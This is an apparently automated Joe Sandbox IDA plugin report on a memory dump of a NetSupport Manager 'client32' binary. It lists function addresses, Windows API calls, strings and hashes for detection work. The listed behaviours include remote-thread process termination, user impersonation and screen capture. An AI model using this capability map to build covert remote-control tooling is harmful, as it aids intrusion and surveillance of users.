Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __strdup_free
String ID: CheckRMLocation, SetChannel to [%s]$CheckRMLocation, check machine key$CheckRMLocation, check user key$CheckRMLocation, opened user key$CheckRMLocation, read [%s] from config$Client$Current Location$CurrentLocation$IsA()$RM user location=%s, assumed roaming$RoomSpec$SOFTWARE\RM\Connect$SOFTWARE\Research Machines\Network Management\Location Chooser$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$wwww
API String ID: 514621754-348489473
Opcode ID: 877a55279de5c964de4bb8d742acd01462f9f85157a0cf375f6da65e02bb0981
Instruction ID: c92d473af6dc16d9041c27a8538e010972664b76a85a87ccff2e3b1cf8fe9cea
Opcode Fuzzy Hash: 877a55279de5c964de4bb8d742acd01462f9f85157a0cf375f6da65e02bb0981
Instruction Fuzzy Hash: 1BD1E579E4061B9FDB05DFA4DC91FEDF371AF95348F108124E82277688EA31A905CBA1

Function 111063A0 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111063D4
EnterCriticalSection.KERNEL32(111F160C,?,00000000), ref: 111063ED
GetTickCount.KERNEL32 ref: 111063F3
wsprintfA.USER32 ref: 1110645D
LoadLibraryA.KERNEL32(Kernel32.dll,?), ref: 1110649F
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 11106520
SetLastError.KERNEL32(00000078), ref: 11106539
FreeLibrary.KERNEL32(00000000,?,00000010,00000000,00000000), ref: 1110656D
GetTickCount.KERNEL32 ref: 111065F7
LeaveCriticalSection.KERNEL32(111F160C,?,00000000), ref: 11106600

Strings

Session\%u\NSMWClass, xrefs: 11106457
GetProcessId, xrefs: 11106518
Kernel32.dll, xrefs: 1110649A
PostMessage WMCLOSE to s%d (%d) ret %d, xrefs: 1110655B
Warning. took %d ms to get simap lock, xrefs: 11106403
Error. IPC(%s) = %s, xrefs: 1110648D
Warning. simap lock held for %d ms, xrefs: 11106614

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalLibrarySection$AddressEnterErrorFreeLastLeaveLoadProcwsprintf
String ID: Error. IPC(%s) = %s$GetProcessId$Kernel32.dll$PostMessage WMCLOSE to s%d (%d) ret %d$Session\%u\NSMWClass$Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 3106348785-779848922
Opcode ID: 22985117de42114c4f55f01eabbacc0e62c5ae72103d16d90366e20abc0df78e
Instruction ID: 4e61fecc55a67ddd152895a92d9d18be16dde1e4b229261976b39b48e73fe7d6
Opcode Fuzzy Hash: 22985117de42114c4f55f01eabbacc0e62c5ae72103d16d90366e20abc0df78e
Instruction Fuzzy Hash: C4719FB5D012699FCB20DF65CD88A9EFBB4BB05304F6045E9D419A7605DB31AE80CF90

Function 110EB540 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

wsprintfA.USER32 ref: 110EB5D8
GetTickCount.KERNEL32 ref: 110EB632
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB646
GetTickCount.KERNEL32 ref: 110EB64E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB696
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000000), ref: 110EB6C8
SetEvent.KERNEL32(00000000,?,00000000), ref: 110EB6D5
CloseHandle.KERNEL32(00000000,?,00000000), ref: 110EB6DC

Strings

runplugin.dmp.1, xrefs: 110EB6BF
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB5D2
Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB65A
%s, xrefs: 110EB603
_debug, xrefs: 110EB56D
Error. Runplugin is unresponsive, xrefs: 110EB6E2
DATA, xrefs: 110EB586
TracePlugins, xrefs: 110EB560
INIT, xrefs: 110EB57C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: ead4b02f65febedee58ec954df4c387db7c39c25c30fbfeabe7c28379be18f45
Instruction ID: 06eeb675c9fb82aaee3c5e1b90d71b9ae50c85907530b7dc4e87486fa2a47647
Opcode Fuzzy Hash: ead4b02f65febedee58ec954df4c387db7c39c25c30fbfeabe7c28379be18f45
Instruction Fuzzy Hash: A141E775A012199FD724CFA5DC84FAEF7B8EF48304F1085AAE91AA7640D631AD40CFB1

Function 111261C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 110libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Kernel32), ref: 111261DA
GetCurrentProcess.KERNEL32(FFFFFFFF,001F0FFF,00000000,00000000), ref: 111261F6
GetCurrentProcess.KERNEL32(?,00000000), ref: 111261FD
DuplicateHandle.KERNEL32(00000000), ref: 11126200
GetExitCodeProcess.KERNEL32(FFFFFFFF,?), ref: 11126219
GetProcAddress.KERNEL32(00000000,ExitProcess), ref: 11126232
CreateRemoteThread.KERNEL32(FFFFFFFF,00000000,00000000,00000000,?,00000000,?), ref: 11126251
GetLastError.KERNEL32 ref: 1112625D
TerminateProcess.KERNEL32(?,?), ref: 11126268
CloseHandle.KERNEL32(FFFFFFFF), ref: 111262CF
SetLastError.KERNEL32(0000042B), ref: 111262DD

Strings

Kernel32, xrefs: 111261CB
ExitProcess, xrefs: 1112622C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$Handle$CurrentErrorLast$AddressCloseCodeCreateDuplicateExitModuleProcRemoteTerminateThread
String ID: ExitProcess$Kernel32
API String ID: 109174691-3456457508
Opcode ID: fabdeca340e6ff03c0eedb30f588ecf15a12367a9a7063cf99c13d5dcaf9420d
Instruction ID: 371920ae97de46759c1d7ed025a308ea72f9d8c42ad683334f98a63784c5ace3
Opcode Fuzzy Hash: fabdeca340e6ff03c0eedb30f588ecf15a12367a9a7063cf99c13d5dcaf9420d
Instruction Fuzzy Hash: 8431C075E40229EBDB158FE5CE88A9EFB78EF45724F110565FC20A3680D7709A00CBA0

Function 111361C0 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

_memset.LIBCMT ref: 11136245
LoadIconA.USER32(00000000,00000455), ref: 11136313
_strncpy.LIBCMT ref: 11136335
Shell_NotifyIconA.SHELL32(00000000,000001E8,?,?,?,?,?,?,?,00000001,00000000,AB86ACF8,?,00000000,00000000), ref: 11136346
LoadIconA.USER32(00000000,0000045C), ref: 11136366
GetWindowTextA.USER32(00040270,?,00000180), ref: 11136388
wsprintfA.USER32 ref: 11136404

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

wsprintfA.USER32 ref: 1113643C
wsprintfA.USER32 ref: 1113649D
wsprintfA.USER32 ref: 111364F8
Shell_NotifyIconA.SHELL32(11139E4B,000001E8,00000001,00000000,AB86ACF8,?,00000000,00000000), ref: 11136533

Strings

562258, xrefs: 11136429
SysTray, xrefs: 11136209
%s, xrefs: 111363FE
%s%s, xrefs: 11136436, 11136497, 111364F2
Client, xrefs: 1113620E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Iconwsprintf$LoadNotifyShell_$TextWindow__wcstoi64_free_memset_strncpy
String ID: %s$%s%s$562258$Client$SysTray
API String ID: 1881589080-441279933
Opcode ID: 0a5c9f8dc402520b24d99fe5b39b65e0a073f3c8a151d53348388467c30159de
Instruction ID: abc8c5b323baaaa6f48eab0437aa75fb158c5b1e869706a0a7a2bf1e7c9e3741
Opcode Fuzzy Hash: 0a5c9f8dc402520b24d99fe5b39b65e0a073f3c8a151d53348388467c30159de
Instruction Fuzzy Hash: 8BA12B71D0422A9BD722CF64CD94BEAF7B8BB44719F1049ACE91D97284EB71AB44CF40

Function 1102A1F0 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 229libraryloaderCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,?), ref: 1102A245

Part of subcall function 110F70E0: LoadLibraryA.KERNEL32(Wtsapi32.dll,AB86ACF8,1102E747,?,00000000), ref: 110F711B
Part of subcall function 110F70E0: GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7179

LoadLibraryA.KERNEL32(Wtsapi32.dll), ref: 1102A2B8
GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 1102A328
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 1102A3A2
FreeLibrary.KERNEL32(?), ref: 1102A3E7

Part of subcall function 110F7300: LoadLibraryA.KERNEL32(Wtsapi32.dll,AB86ACF8,1102E747,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 110F732D
Part of subcall function 110F7300: GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7372
Part of subcall function 110F7300: GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F73C3
Part of subcall function 110F7300: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF), ref: 110F7423

SetLastError.KERNEL32(00000078), ref: 1102A3B7
SetLastError.KERNEL32(00000078), ref: 1102A3C1
wsprintfA.USER32 ref: 1102A4A7
wsprintfA.USER32 ref: 1102A4B9

Strings

hydrapark#, xrefs: 1102A358
Wtsapi32.dll, xrefs: 1102A2B3
WTSFreeMemory, xrefs: 1102A39C
%s%03d, xrefs: 1102A4B3
, xrefs: 1102A23B
%s%c%02d, xrefs: 1102A4A1
WTSQuerySessionInformationA, xrefs: 1102A31E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$Load$ErrorFreeLastwsprintf$ComputerName
String ID: $%s%03d$%s%c%02d$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$hydrapark#
API String ID: 3908195755-3513858227
Opcode ID: 71ea406759e04b1339ccfb6e5b0de1db034c181def443d32a597bd66a3dfdd50
Instruction ID: f92ba7b4cbee429c5a8b04187c15bd0f656229ac2bc50c7fba354634dfeb625e
Opcode Fuzzy Hash: 71ea406759e04b1339ccfb6e5b0de1db034c181def443d32a597bd66a3dfdd50
Instruction Fuzzy Hash: 9A918F71D00269DFDB11CF649D84BDEFBB8BB49304F4045E9E459A7600EB71AA88CF51

Function 11002340 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 162windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11001F80: FindWindowA.USER32(Progman,00000000), ref: 11001FA9
Part of subcall function 11001F80: GetWindowThreadProcessId.USER32(00000000,?), ref: 11001FB7
Part of subcall function 11001F80: OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 11001FCB
Part of subcall function 11001F80: GetVersionExA.KERNEL32(?), ref: 11001FE4
Part of subcall function 11001F80: OpenProcessToken.ADVAPI32(00000000,0002000B,00000000), ref: 11002000
Part of subcall function 11001F80: ImpersonateLoggedOnUser.ADVAPI32(00000000), ref: 11002011
Part of subcall function 11001F80: CloseHandle.KERNEL32(00000000), ref: 11002028
Part of subcall function 11001F80: CloseHandle.KERNEL32(00000000), ref: 1100202F

CreateCompatibleBitmap.GDI32(?,?,?), ref: 110023AD
CreateCompatibleDC.GDI32(?), ref: 110023BD
SelectObject.GDI32(00000000,?), ref: 110023D1
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 11002401
_memset.LIBCMT ref: 11002419

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

GetSaveFileNameA.COMDLG32(00000058,?,?,?,AB86ACF8), ref: 110024A4
EnableWindow.USER32(00000000,00000000), ref: 11002518
SelectObject.GDI32(?,?), ref: 11002522
DeleteObject.GDI32(?), ref: 1100252F
DeleteDC.GDI32(?), ref: 11002536
EnableWindow.USER32(00000000,00000001), ref: 1100255F
RevertToSelf.ADVAPI32(?,?,?,AB86ACF8), ref: 11002561

Strings

X, xrefs: 11002421
BMP, xrefs: 1100249A
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110024FA, 11002547
m_hWnd, xrefs: 110024FF, 1100254C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ObjectProcess$CloseCompatibleCreateDeleteEnableFileFolderHandleNameOpenPathSelect$BitmapFindImpersonateLoggedModuleRevertSaveSelfThreadTokenUserVersion_memset
String ID: BMP$X$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3362589479-2539113696
Opcode ID: f9d947188d7d45801c45cae65f9b05fc20ab652966aa13b62964c56aad9f169a
Instruction ID: 9d3051af6559d4f2dd0c7a1e2ead35f12597f10354149e4796aa47e8d90882b9
Opcode Fuzzy Hash: f9d947188d7d45801c45cae65f9b05fc20ab652966aa13b62964c56aad9f169a
Instruction Fuzzy Hash: 4D51A175E40319AFEB24CF60CC85FEAB7B8FB49748F0045A9E529A7680DB74A940CF51

Function 11132160 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 241COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1113220D

Strings

ImageFile, xrefs: 111321CF
PCIImage.dll, xrefs: 111323E7
DecompressJPEGToBitmap, xrefs: 1113241F
ImageFileUser, xrefs: 111322EA
DecompressPNGToBitmap, xrefs: 11132401
%s%s, xrefs: 11132207
Client, xrefs: 111321D4, 111322EF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s$Client$DecompressJPEGToBitmap$DecompressPNGToBitmap$ImageFile$ImageFileUser$PCIImage.dll
API String ID: 2111968516-1286714176
Opcode ID: 5a0a596aa89e9b017834500dd1e75b12524007687034fc42cfb07ef4cc1a64f6
Instruction ID: 02765b2c7a6772d971fa9da819da4de0b757c726f9e67794902461bd1f2e2486
Opcode Fuzzy Hash: 5a0a596aa89e9b017834500dd1e75b12524007687034fc42cfb07ef4cc1a64f6
Instruction Fuzzy Hash: 70913935A503199FE721DFA4CD84FDAF3B4BB88725F1041A8EA19A7284DB70AA40CF51

Function 11047010 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 214COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1104702F
wsprintfA.USER32 ref: 110470AE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

wsprintfA.USER32 ref: 110470E9
GetModuleFileNameA.KERNEL32(00000000,00000014,00000080), ref: 11047203
_strrchr.LIBCMT ref: 1104720C
GetWindowsDirectoryA.KERNEL32(00000016,00000080), ref: 11047235
_free.LIBCMT ref: 11047251

Strings

V12.00, xrefs: 110470D2
V12.10F20, xrefs: 110470FA, 110471A5
CLTCONN.CPP, xrefs: 11047042
NSS, xrefs: 1104708E
V1.10, xrefs: 1104709C
V12.10, xrefs: 110470D9, 110470DE
NSA %s, xrefs: 110470A8
%s %s, xrefs: 110470BA, 110470E0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$DirectoryErrorExitFileLastMessageModuleNameProcessWindows_calloc_free_strrchr
String ID: %s %s$CLTCONN.CPP$NSA %s$NSS$V1.10$V12.00$V12.10$V12.10F20
API String ID: 1757445300-1785190265
Opcode ID: 8df59efd58386d5d632d4f9a1d1019fa2f1450115bc2f61edf1bae4acd3b0bfd
Instruction ID: 26d4bceacdf9fffedd66530a5670ce95754bb6fc5caa385817b5218b2f2053ae
Opcode Fuzzy Hash: 8df59efd58386d5d632d4f9a1d1019fa2f1450115bc2f61edf1bae4acd3b0bfd
Instruction Fuzzy Hash: 3F619A78E00657ABD714CFB48CC1B6FF7E99F40308F1048A8ED5697641EA62F904C3A2

Function 1101E200 Relevance: 25.7, APIs: 17, Instructions: 151COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000002), ref: 1101E216

Part of subcall function 110CE050: GetWindowRect.USER32(00000000,?), ref: 110CE0C5
Part of subcall function 110CE050: GetClientRect.USER32(00000000,?), ref: 110CE0F8
Part of subcall function 110CE050: GetWindowRect.USER32(?,?), ref: 110CE103

GetDlgItem.USER32(?,000013B2), ref: 1101E22E
GetDlgItem.USER32(?,000017DD), ref: 1101E243
GetDlgItem.USER32(?,000013A9), ref: 1101E258
GetDlgItem.USER32(?,?), ref: 1101E26F
GetDlgItem.USER32(?,000013A2), ref: 1101E284
GetDlgItem.USER32(?,000013A4), ref: 1101E299
GetDlgItem.USER32(?,0000139C), ref: 1101E2AE
GetDlgItem.USER32(?,0000139D), ref: 1101E2C3
GetDlgItem.USER32(?,0000139F), ref: 1101E2D8
GetDlgItem.USER32(?,000013AB), ref: 1101E2ED
GetDlgItem.USER32(?,000013B1), ref: 1101E302
GetDlgItem.USER32(?,000013C2), ref: 1101E317
GetDlgItem.USER32(?,000013C3), ref: 1101E32C
GetDlgItem.USER32(?,000013BE), ref: 1101E341
GetDlgItem.USER32(?,000013CA), ref: 1101E356
GetDlgItem.USER32(?,000013C7), ref: 1101E36B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
